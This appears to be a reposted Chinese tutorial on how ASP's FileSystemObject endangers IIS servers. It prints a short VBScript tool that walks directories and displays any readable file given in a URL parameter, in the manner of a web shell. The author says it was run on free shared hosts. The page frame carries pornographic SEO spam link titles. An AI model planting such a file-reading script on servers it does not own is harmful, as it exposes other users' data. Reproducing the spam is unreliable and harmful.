一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - ASP教程 - ASP中FSO對象對IIS WEB服務器數據安全的威脅及對策

ASP中FSO對象對IIS WEB服務器數據安全的威脅及對策

2019-10-31 13:41asp教程網 ASP教程

scripting.filesystemobject 對象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問,但是同時也對 iis web 服務器數據安全造成了一定的威脅。 filefinder 的代碼

scripting.filesystemobject 對象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問,但是同時也對 iis web 服務器數據安全造成了一定的威脅。 

filefinder 的代碼很簡單,由3 個函數和 30 行左右的順序代碼構成。 

最關鍵的是 findfiles 函數,通過對它的遞歸調用實現對某個目錄的遍歷,并且按照特定的文件擴展名來搜尋這些文件。 


function findfiles(strstartfolder, strext) 

dim n 

dim othisfolder 

dim ofolders 

dim ofiles 

dim ofolder 

dim ofile 


' 如果系統管理員對文件系統的權限進行細致的設置話,下面的代碼就要出錯 

' 但是有些目錄還是可以察看的,所以我們簡單的把錯誤忽略過去 

on error resume next 

n = 0 

response.write "<b>searching " & strstartfolder & "</b><br>" 

set othisfolder = g_fs.getfolder(strstartfolder) 

set ofiles = othisfolder.files 

for each ofile in ofiles 

' 如果是指定的文件擴展名,輸出連接導向本身,但用不同的命令 cmd 

' 在這里是 cmd=read,即讀出指定物理路徑的文本文件 

if issuffix(ofile.path, strext) then 

response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>" 

if err = 0 then 

n = n + 1 

end if 

end if 

next 

set ofolders = othisfolder.subfolders 

for each ofolder in ofolders 

n = n + findfiles(ofolder.path, strext) 

next 

findfiles = n 

end function 

下面的代碼是對 url 后面的參數進行分析: 


' 讀出各個參數的值 

strcmd = ucase(request.querystring("cmd")) 

strpath = request.querystring("path") 

strext = request.querystring("ext") 

brawdata = ucase(request.querystring("raw")) 

' 默認搜索 .asp 文件 

if strpath = "" then 

strpath = "." 

end if 

if strext = "" then 

strext = ".asp" 

end if 


' 根據不同的命令 cmd 執行不同的代碼 

select case strcmd 

case "find" 

response.write findfiles(strpath, strext) & " file(s) found" 

case "read" 

if brawdata = "t" then 

response.write readtextfile(strpath) 

else 

response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>" 

end if 

case else 

response.write "<h3>please specify a command to execute</h3>" 

end select 

從上面的分析可以看出,如果有足夠的權限的話,我們就可以通過 filefinder 來查找 iis web 服務器上的任意文本文件,并且可以輕松的察看文件內容。對于非文本文件,可以確定他們是否存在及其所在路徑,這對于高級 hacker 們來說,這些信息有時是極其重要的。

但是這些對數據安全的威脅的前提條件是執行 ff.asp 的用戶至少擁有讀取目錄和文件的權限。由于 windows nt server 在安裝后的默認安全設置是所有用戶都可以“讀取”目錄和文件,所以不管是 iis 默認的你名用戶 iusr_servername 還是別的什么用戶,都可以順列的讀取目錄和文件的信息。而大多數 windows nt server系統管理員主要關心系統是否能夠運行的起來,一般不愿意去改動默認的目錄和文件權限,畢竟那樣做要冒很大的風險,而且需要很多次得經驗。所以,我們可以用 filefinder 來檢查作為 web 服務器的 nt server 的文件系統的安全設置是否安全。 

作者專門對作為 iis web 服務器的文件系統的權限進行了人工設置,但限于沒有經驗,導致了許多奇怪的錯誤現象,如:所用的做實驗的 nt server 4.0 不能進行 access 數據庫的連接。而在進行文件系統權限改動之前,這些功能是正常的。 

本著純粹研究的目的,作者還在我所申請的免費 asp 空間上作了試驗(包括 csdn 提供的我的個人主頁),結果是 filefinder 都可以順利運行。而在http://www2.domaindlx.com/index.html 申請的個人主頁卻沒有這個問題,可見這個免費 asp 主頁提供商在這方面做的還是比較認真的。盡管 domaindlx 的 web 服務器運行在 windows 2000 server 上的,其默認的文件系統的安全權限和 nt 4.0 沒有很大的差別。 

由于作者的能力有限,就對這個問題討論到這里。僅以此文來向國內的 asp 主頁提供商提供參考意見,希望能對提供商和客戶雙方的數據安全都有所幫助。 

附:用其它類似的服務器端腳本來運行的 web 服務,如果也提供類似 scripting.filesystemobject 的對文件系統操作的功能,不管什么平臺應該存在同樣的問題。 

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 日韩在线一区二区 | 日韩欧美在线观看综合网另类 | 国产性色视频 | 极端 成熟 性别 视频 | 精品视频免费在线观看 | 午夜宅男在线观看 | 扒开女人下面 | 99热在线获取最新地址 | 欧美高清免费一级在线 | 日本阿v在线播放 | 亚洲日本免费 | 亚洲国产成人在人网站天堂 | 二次元美女内裤凹陷太深 | 日韩不卡一区二区三区 | 国产精品国产精品国产三级普 | 扒开双腿疯狂进出爽爽动态图 | 国产成人精品高清免费 | 成人免费在线视频观看 | 91青青国产在线观看免费 | 日本人成年视频在线观看 | 精品无码一区二区三区中文字幕 | 国产色司机在线视频免费观看 | 91麻豆国产福利在线观看 | 国内精品九一在线播放 | 女子监狱第二季在线观看免费完整版 | 国产区成人精品视频 | 亚洲国产精品久久卡一 | 国产精品视频一区二区三区经 | 亚洲成人黄色 | 国产一级黄色网 | 亚洲色大成网站www久久九九 | 高h折磨调教古代 | 国产hd老太婆 | 草大逼 | uoco福利姬网站 | 性做久久久久久久 | 久久re视频精品538在线 | 亚洲精品6久久久久中文字幕 | 欧美一卡2卡3卡无卡 | 国产精品露脸国语对白河北 | 国产精品青青在线观看香蕉 |